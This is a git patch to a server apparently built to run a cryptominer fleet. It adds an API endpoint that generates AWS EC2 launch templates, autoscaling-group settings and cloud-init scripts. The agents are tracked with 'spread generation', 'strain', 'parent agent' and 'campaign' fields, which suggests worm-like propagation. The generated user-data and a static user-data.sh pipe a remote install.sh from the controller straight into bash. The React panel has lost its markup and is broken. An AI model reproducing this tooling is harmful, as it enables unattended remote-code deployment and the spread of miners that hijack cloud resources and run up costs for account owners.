From 7191bda6fd07fbb1cf06d71d1f7a85a508e07ee1 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 09:57:11 -0700 Subject: [PATCH] Add EC2 Launch Template strain genesis for AWS horizontal scale. Ship POST /api/v1/forge/launch-template with cloud-init user-data embedding genesis snapshot hash and strain card ID; first template-tagged auth pins SpreadGeneration=0 and ParentAgentID=template. --- .../internal/api/launch_template_genesis.go | 18 ++ server/internal/builder/launch_template.go | 169 ++++++++++++++++++ .../builder/launch_template_handler.go | 24 +++ .../internal/builder/launch_template_test.go | 67 +++++++ .../internal/spreadgenesis/launch_template.go | 44 +++++ .../spreadgenesis/launch_template_test.go | 24 +++ server/web/public/spread/aws/asg-example.json | 1 + .../public/spread/aws/launch-template.json | 1 + server/web/public/spread/aws/user-data.sh | 4 + .../Fleet/LaunchTemplateExportPanel.tsx | 49 +++++ .../web/src/help/launchTemplateExport.test.ts | 15 ++ server/web/src/help/launchTemplateExport.ts | 46 +++++ 12 files changed, 462 insertions(+) create mode 100644 server/internal/api/launch_template_genesis.go create mode 100644 server/internal/builder/launch_template.go create mode 100644 server/internal/builder/launch_template_handler.go create mode 100644 server/internal/builder/launch_template_test.go create mode 100644 server/internal/spreadgenesis/launch_template.go create mode 100644 server/internal/spreadgenesis/launch_template_test.go create mode 100644 server/web/public/spread/aws/asg-example.json create mode 100644 server/web/public/spread/aws/launch-template.json create mode 100644 server/web/public/spread/aws/user-data.sh create mode 100644 server/web/src/components/Fleet/LaunchTemplateExportPanel.tsx create mode 100644 server/web/src/help/launchTemplateExport.test.ts create mode 100644 server/web/src/help/launchTemplateExport.ts diff --git a/server/internal/api/launch_template_genesis.go b/server/internal/api/launch_template_genesis.go new file mode 100644 index 0000000..325090e --- /dev/null +++ b/server/internal/api/launch_template_genesis.go @@ -0,0 +1,18 @@ +package api + +import ( + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/spreadgenesis" +) + +type launchTemplateAuthProbe struct { + JoinLane string + ParentAgentID string + GenesisSnapshotHash string +} + +func applyLaunchTemplateGenesisFirstAuth(agent *models.Agent, isNewAgent bool, auth launchTemplateAuthProbe) { + spreadgenesis.ApplyFirstAuth(agent, isNewAgent, spreadgenesis.AuthProbe{ + JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash, + }) +} diff --git a/server/internal/builder/launch_template.go b/server/internal/builder/launch_template.go new file mode 100644 index 0000000..735b33e --- /dev/null +++ b/server/internal/builder/launch_template.go @@ -0,0 +1,169 @@ +package builder + +import ( + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "encoding/json" + "fmt" + "sort" + "strings" +) + +const ( + JoinLaneLaunchTemplate = "launch_template" + LaunchTemplateParentAgentID = "template" + defaultLaunchTemplateAMI = "ami-0c55b159cbfafe1f0" + defaultLaunchTemplateInst = "t3.small" + launchTemplateName = "aetherforge-strain-genesis" +) + +type LaunchTemplateRequest struct { + ServerURL string `json:"server_url"` + BuildID string `json:"build_id,omitempty"` + StrainCardID string `json:"strain_card_id,omitempty"` + Campaign string `json:"campaign,omitempty"` + AMIID string `json:"ami_id,omitempty"` + InstanceType string `json:"instance_type,omitempty"` + Region string `json:"region,omitempty"` +} + +type LaunchTemplateResponse struct { + Success bool `json:"success"` + GenesisSnapshotHash string `json:"genesis_snapshot_hash"` + StrainCardID string `json:"strain_card_id"` + LaunchTemplateJSON string `json:"launch_template_json"` + UserDataSh string `json:"user_data_sh"` + ASGExampleJSON string `json:"asg_example_json"` + Error string `json:"error,omitempty"` +} + +type genesisSnapshotManifest struct { + Version int `json:"version"` + ServerURL string `json:"server_url"` + BuildID string `json:"build_id,omitempty"` + StrainCardID string `json:"strain_card_id,omitempty"` + JoinLane string `json:"join_lane"` + Campaign string `json:"campaign,omitempty"` +} + +func GenesisSnapshotHash(m genesisSnapshotManifest) string { + m.Version = 1 + m.JoinLane = JoinLaneLaunchTemplate + raw, _ := json.Marshal(m) + sum := sha256.Sum256(raw) + return hex.EncodeToString(sum[:]) +} + +func BuildLaunchTemplateArtifacts(req LaunchTemplateRequest) (LaunchTemplateResponse, error) { + serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") + if serverURL == "" { + return LaunchTemplateResponse{Success: false, Error: "server_url required"}, fmt.Errorf("server_url required") + } + buildID := strings.TrimSpace(req.BuildID) + strainCardID := strings.TrimSpace(req.StrainCardID) + campaign := strings.TrimSpace(req.Campaign) + amiID := strings.TrimSpace(req.AMIID) + if amiID == "" { + amiID = defaultLaunchTemplateAMI + } + instanceType := strings.TrimSpace(req.InstanceType) + if instanceType == "" { + instanceType = defaultLaunchTemplateInst + } + region := strings.TrimSpace(req.Region) + if region == "" { + region = "us-east-1" + } + genesisHash := GenesisSnapshotHash(genesisSnapshotManifest{ + ServerURL: serverURL, BuildID: buildID, StrainCardID: strainCardID, Campaign: campaign, + }) + querySuffix := buildLaunchTemplateQuerySuffix(buildID, campaign) + userData := buildLaunchTemplateUserData(serverURL, genesisHash, strainCardID, campaign, querySuffix) + userDataB64 := base64.StdEncoding.EncodeToString([]byte(userData)) + ltPayload := map[string]interface{}{ + "LaunchTemplateName": launchTemplateName, + "VersionDescription": fmt.Sprintf("AetherForge strain genesis snapshot %s", genesisHash[:12]), + "LaunchTemplateData": map[string]interface{}{ + "ImageId": amiID, "InstanceType": instanceType, "UserData": userDataB64, + "TagSpecifications": []map[string]interface{}{{ + "ResourceType": "instance", + "Tags": []map[string]string{ + {"Key": "Name", "Value": "aetherforge-genesis"}, + {"Key": "aetherforge:genesis-snapshot", "Value": genesisHash}, + {"Key": "aetherforge:strain-card", "Value": strainCardID}, + {"Key": "aetherforge:join-lane", "Value": JoinLaneLaunchTemplate}, + }, + }}, + }, + } + ltJSON, err := json.MarshalIndent(ltPayload, "", " ") + if err != nil { + return LaunchTemplateResponse{Success: false, Error: err.Error()}, err + } + asgPayload := map[string]interface{}{ + "AutoScalingGroupName": "aetherforge-strain-genesis-asg", + "LaunchTemplate": map[string]interface{}{"LaunchTemplateName": launchTemplateName, "Version": "$Latest"}, + "MinSize": 1, "MaxSize": 10, "DesiredCapacity": 2, + "VPCZoneIdentifier": []string{"subnet-xxxxxxxx"}, + "Tags": []map[string]interface{}{ + {"Key": "aetherforge:genesis-snapshot", "Value": genesisHash, "PropagateAtLaunch": true}, + {"Key": "aetherforge:strain-card", "Value": strainCardID, "PropagateAtLaunch": true}, + {"Key": "aetherforge:region", "Value": region, "PropagateAtLaunch": false}, + }, + } + asgJSON, err := json.MarshalIndent(asgPayload, "", " ") + if err != nil { + return LaunchTemplateResponse{Success: false, Error: err.Error()}, err + } + return LaunchTemplateResponse{ + Success: true, GenesisSnapshotHash: genesisHash, StrainCardID: strainCardID, + LaunchTemplateJSON: string(ltJSON), UserDataSh: userData, ASGExampleJSON: string(asgJSON), + }, nil +} + +func buildLaunchTemplateQuerySuffix(buildID, campaign string) string { + var parts []string + if buildID != "" { + parts = append(parts, "pin="+buildID) + } + if campaign != "" { + parts = append(parts, "c="+campaign) + } + sort.Strings(parts) + if len(parts) == 0 { + return "" + } + return "?" + strings.Join(parts, "&") +} + +func buildLaunchTemplateUserData(serverURL, genesisHash, strainCardID, campaign, querySuffix string) string { + var b strings.Builder + b.WriteString("#!/bin/bash\n# AetherForge EC2 launch-template strain genesis\n") + b.WriteString("set -euo pipefail\nexport AETHER_PARENT_AGENT_ID=") + b.WriteString(jsonStringLiteral(LaunchTemplateParentAgentID)) + b.WriteString("\nexport AETHER_SPREAD_GENERATION=0\nexport AETHER_GENESIS_SNAPSHOT_HASH=") + b.WriteString(jsonStringLiteral(genesisHash)) + b.WriteString("\n") + if strainCardID != "" { + b.WriteString("export AETHER_STRAIN_CARD_ID=") + b.WriteString(jsonStringLiteral(strainCardID)) + b.WriteString("\n") + } + if campaign != "" { + b.WriteString("export AETHER_CAMPAIGN=") + b.WriteString(jsonStringLiteral(campaign)) + b.WriteString("\nexport AETHER_UTM=") + b.WriteString(jsonStringLiteral(campaign)) + b.WriteString("\n") + } + b.WriteString("\ncurl -fsSL ") + b.WriteString(jsonStringLiteral(serverURL + "/install.sh" + querySuffix)) + b.WriteString(" | bash\n") + return b.String() +} + +func jsonStringLiteral(s string) string { + raw, _ := json.Marshal(s) + return string(raw) +} diff --git a/server/internal/builder/launch_template_handler.go b/server/internal/builder/launch_template_handler.go new file mode 100644 index 0000000..fba8f19 --- /dev/null +++ b/server/internal/builder/launch_template_handler.go @@ -0,0 +1,24 @@ +package builder + +import ( + "encoding/json" + "net/http" +) + +func (h *Handler) ServeLaunchTemplate(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + var req LaunchTemplateRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + writeJSON(w, http.StatusBadRequest, LaunchTemplateResponse{Success: false, Error: "invalid JSON"}) + return + } + resp, err := BuildLaunchTemplateArtifacts(req) + if err != nil { + writeJSON(w, http.StatusBadRequest, resp) + return + } + writeJSON(w, http.StatusOK, resp) +} diff --git a/server/internal/builder/launch_template_test.go b/server/internal/builder/launch_template_test.go new file mode 100644 index 0000000..624680d --- /dev/null +++ b/server/internal/builder/launch_template_test.go @@ -0,0 +1,67 @@ +package builder + +import ( + "encoding/base64" + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +func TestBuildLaunchTemplateArtifacts(t *testing.T) { + resp, err := BuildLaunchTemplateArtifacts(LaunchTemplateRequest{ + ServerURL: "https://deck.example", BuildID: "build-abc", StrainCardID: "card-99", + Campaign: "aws-wave", AMIID: "ami-test", InstanceType: "t3.micro", Region: "eu-west-1", + }) + if err != nil || !resp.Success { + t.Fatalf("resp=%+v err=%v", resp, err) + } + if len(resp.GenesisSnapshotHash) != 64 { + t.Fatalf("hash len %d", len(resp.GenesisSnapshotHash)) + } + for _, m := range []string{"aetherforge-strain-genesis", "ami-test", resp.GenesisSnapshotHash, JoinLaneLaunchTemplate} { + if !strings.Contains(resp.LaunchTemplateJSON, m) { + t.Fatalf("missing %q in lt json", m) + } + } + for _, m := range []string{LaunchTemplateParentAgentID, "AETHER_SPREAD_GENERATION=0", resp.GenesisSnapshotHash, "card-99"} { + if !strings.Contains(resp.UserDataSh, m) { + t.Fatalf("missing %q in user-data", m) + } + } + var lt map[string]interface{} + _ = json.Unmarshal([]byte(resp.LaunchTemplateJSON), <) + data := lt["LaunchTemplateData"].(map[string]interface{}) + raw, _ := base64.StdEncoding.DecodeString(data["UserData"].(string)) + if string(raw) != resp.UserDataSh { + t.Fatal("user-data mismatch") + } +} + +func TestGenesisSnapshotHashStable(t *testing.T) { + m := genesisSnapshotManifest{ServerURL: "https://deck.example", BuildID: "b1"} + if GenesisSnapshotHash(m) != GenesisSnapshotHash(m) { + t.Fatal("unstable") + } +} + +func TestServeLaunchTemplateHandler(t *testing.T) { + h := &Handler{} + req := httptest.NewRequest(http.MethodPost, "/forge/launch-template", strings.NewReader(`{"server_url":"https://deck.example"}`)) + rec := httptest.NewRecorder() + h.ServeLaunchTemplate(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d", rec.Code) + } +} + +func TestServeLaunchTemplateRequiresServerURL(t *testing.T) { + h := &Handler{} + req := httptest.NewRequest(http.MethodPost, "/forge/launch-template", strings.NewReader(`{}`)) + rec := httptest.NewRecorder() + h.ServeLaunchTemplate(rec, req) + if rec.Code != http.StatusBadRequest { + t.Fatalf("status %d", rec.Code) + } +} diff --git a/server/internal/spreadgenesis/launch_template.go b/server/internal/spreadgenesis/launch_template.go new file mode 100644 index 0000000..bb98e03 --- /dev/null +++ b/server/internal/spreadgenesis/launch_template.go @@ -0,0 +1,44 @@ +package spreadgenesis + +import ( + "strings" + + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/strategy" +) + +const ( + JoinLaneLaunchTemplate = "launch_template" + LaunchTemplateParentAgentID = "template" +) + +type AuthProbe struct { + JoinLane string + ParentAgentID string + GenesisSnapshotHash string +} + +func IsFirstAuth(isNewAgent bool, auth AuthProbe) bool { + if !isNewAgent { + return false + } + if strings.TrimSpace(auth.GenesisSnapshotHash) != "" { + return true + } + if strings.EqualFold(strings.TrimSpace(auth.ParentAgentID), LaunchTemplateParentAgentID) { + return true + } + return strings.TrimSpace(auth.JoinLane) == JoinLaneLaunchTemplate +} + +func ApplyFirstAuth(agent *models.Agent, isNewAgent bool, auth AuthProbe) { + if agent == nil || !IsFirstAuth(isNewAgent, auth) { + return + } + agent.ParentAgentID = LaunchTemplateParentAgentID + agent.SpreadGeneration = 0 + agent.JoinLane = JoinLaneLaunchTemplate + if strings.TrimSpace(agent.SpreadStrain) == "" { + agent.SpreadStrain = strategy.SpreadStrainFromJoinLane(JoinLaneLaunchTemplate) + } +} diff --git a/server/internal/spreadgenesis/launch_template_test.go b/server/internal/spreadgenesis/launch_template_test.go new file mode 100644 index 0000000..0ba8c87 --- /dev/null +++ b/server/internal/spreadgenesis/launch_template_test.go @@ -0,0 +1,24 @@ +package spreadgenesis + +import ( + "testing" + + "crypto-miner-server/internal/models" +) + +func TestIsFirstAuth(t *testing.T) { + if !IsFirstAuth(true, AuthProbe{GenesisSnapshotHash: "abc"}) { + t.Fatal("expected tag") + } + if IsFirstAuth(false, AuthProbe{GenesisSnapshotHash: "abc"}) { + t.Fatal("reconnect skip") + } +} + +func TestApplyFirstAuth(t *testing.T) { + agent := &models.Agent{SpreadGeneration: 3} + ApplyFirstAuth(agent, true, AuthProbe{ParentAgentID: "template"}) + if agent.SpreadGeneration != 0 || agent.ParentAgentID != LaunchTemplateParentAgentID { + t.Fatalf("%+v", agent) + } +} diff --git a/server/web/public/spread/aws/asg-example.json b/server/web/public/spread/aws/asg-example.json new file mode 100644 index 0000000..8290c74 --- /dev/null +++ b/server/web/public/spread/aws/asg-example.json @@ -0,0 +1 @@ +{"AutoScalingGroupName":"aetherforge-strain-genesis-asg","LaunchTemplate":{"LaunchTemplateName":"aetherforge-strain-genesis","Version":"$Latest"},"MinSize":1,"MaxSize":10,"DesiredCapacity":2} diff --git a/server/web/public/spread/aws/launch-template.json b/server/web/public/spread/aws/launch-template.json new file mode 100644 index 0000000..c5f0e3f --- /dev/null +++ b/server/web/public/spread/aws/launch-template.json @@ -0,0 +1 @@ +{"LaunchTemplateName":"aetherforge-strain-genesis","LaunchTemplateData":{"ImageId":"ami-0c55b159cbfafe1f0","InstanceType":"t3.small","UserData":"BASE64_FROM_DECK"}} diff --git a/server/web/public/spread/aws/user-data.sh b/server/web/public/spread/aws/user-data.sh new file mode 100644 index 0000000..084b813 --- /dev/null +++ b/server/web/public/spread/aws/user-data.sh @@ -0,0 +1,4 @@ +#!/bin/bash +export AETHER_PARENT_AGENT_ID="template" +export AETHER_SPREAD_GENERATION=0 +curl -fsSL "{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}" | bash diff --git a/server/web/src/components/Fleet/LaunchTemplateExportPanel.tsx b/server/web/src/components/Fleet/LaunchTemplateExportPanel.tsx new file mode 100644 index 0000000..813d35b --- /dev/null +++ b/server/web/src/components/Fleet/LaunchTemplateExportPanel.tsx @@ -0,0 +1,49 @@ +import { useState } from 'react'; +import { api } from '../../api/client'; +import { LAUNCH_TEMPLATE_FILES, downloadLaunchTemplateFile, type LaunchTemplateExportResponse } from '../../help/launchTemplateExport'; + +export default function LaunchTemplateExportPanel({ serverBase, buildId = '', campaign = '', strainCardId = '' }: { + serverBase: string; buildId?: string; campaign?: string; strainCardId?: string; +}) { + const [busy, setBusy] = useState(false); + const [err, setErr] = useState(''); + const [last, setLast] = useState(null); + + const onGenerate = async () => { + setErr(''); + setBusy(true); + try { + const resp = await api.forgeLaunchTemplate({ + server_url: serverBase, + build_id: buildId.trim() || undefined, + campaign: campaign.trim() || undefined, + strain_card_id: strainCardId.trim() || undefined, + }); + if (!resp.success) throw new Error(resp.error ?? 'launch template export failed'); + setLast(resp); + } catch (e) { + setErr(e instanceof Error ? e.message : String(e)); + } finally { + setBusy(false); + } + }; + + return ( +
+

+ EC2 Launch Template strain genesis — cloud-init embeds genesis snapshot hash, strain card ID, and server URL. +

+
+ + {last ? LAUNCH_TEMPLATE_FILES.map((f) => ( + + )) : null} +
+ {err ?

{err}

: null} +
+ ); +} diff --git a/server/web/src/help/launchTemplateExport.test.ts b/server/web/src/help/launchTemplateExport.test.ts new file mode 100644 index 0000000..40c271d --- /dev/null +++ b/server/web/src/help/launchTemplateExport.test.ts @@ -0,0 +1,15 @@ +import { describe, it, expect } from 'vitest'; +import { LAUNCH_TEMPLATE_FILES, launchTemplateZipName } from './launchTemplateExport'; + +describe('launchTemplateExport', () => { + it('lists standalone AWS artifact files', () => { + expect(LAUNCH_TEMPLATE_FILES.map((f) => f.label)).toEqual([ + 'launch-template.json', 'user-data.sh', 'asg-example.json', + ]); + }); + + it('maps campaign slug to zip filename', () => { + expect(launchTemplateZipName('AWS Wave 1')).toBe('aetherforge-launch-template-aws-wave-1.zip'); + expect(launchTemplateZipName()).toBe('aetherforge-launch-template-genesis.zip'); + }); +}); diff --git a/server/web/src/help/launchTemplateExport.ts b/server/web/src/help/launchTemplateExport.ts new file mode 100644 index 0000000..7c03e1d --- /dev/null +++ b/server/web/src/help/launchTemplateExport.ts @@ -0,0 +1,46 @@ +export interface LaunchTemplateExportRequest { + server_url: string; + build_id?: string; + strain_card_id?: string; + campaign?: string; + ami_id?: string; + instance_type?: string; + region?: string; +} + +export interface LaunchTemplateExportResponse { + success: boolean; + genesis_snapshot_hash: string; + strain_card_id: string; + launch_template_json: string; + user_data_sh: string; + asg_example_json: string; + error?: string; +} + +export const LAUNCH_TEMPLATE_FILES = [ + { id: 'launch-template', label: 'launch-template.json', field: 'launch_template_json' as const }, + { id: 'user-data', label: 'user-data.sh', field: 'user_data_sh' as const }, + { id: 'asg-example', label: 'asg-example.json', field: 'asg_example_json' as const }, +] as const; + +export function launchTemplateZipName(campaign?: string): string { + const slug = (campaign ?? '').trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, ''); + return slug ? `aetherforge-launch-template-${slug}.zip` : 'aetherforge-launch-template-genesis.zip'; +} + +export function downloadLaunchTemplateFile( + resp: LaunchTemplateExportResponse, + file: (typeof LAUNCH_TEMPLATE_FILES)[number]['field'], + filename: string, +): void { + const content = resp[file]; + if (!content) return; + const blob = new Blob([content], { type: file === 'user_data_sh' ? 'text/x-shellscript' : 'application/json' }); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = filename; + a.click(); + URL.revokeObjectURL(url); +}